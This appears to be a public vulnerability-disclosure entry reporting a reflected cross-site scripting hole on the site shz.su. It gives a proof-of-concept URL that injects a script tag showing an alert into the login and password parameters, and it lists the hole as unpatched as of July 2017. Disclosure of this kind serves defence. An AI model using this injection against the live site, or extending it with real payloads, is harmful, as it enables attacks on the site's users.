shz.su XSS vulnerability

Vulnerable URL: http://shz.su/cabinet.html?a=0login=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3Epass=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...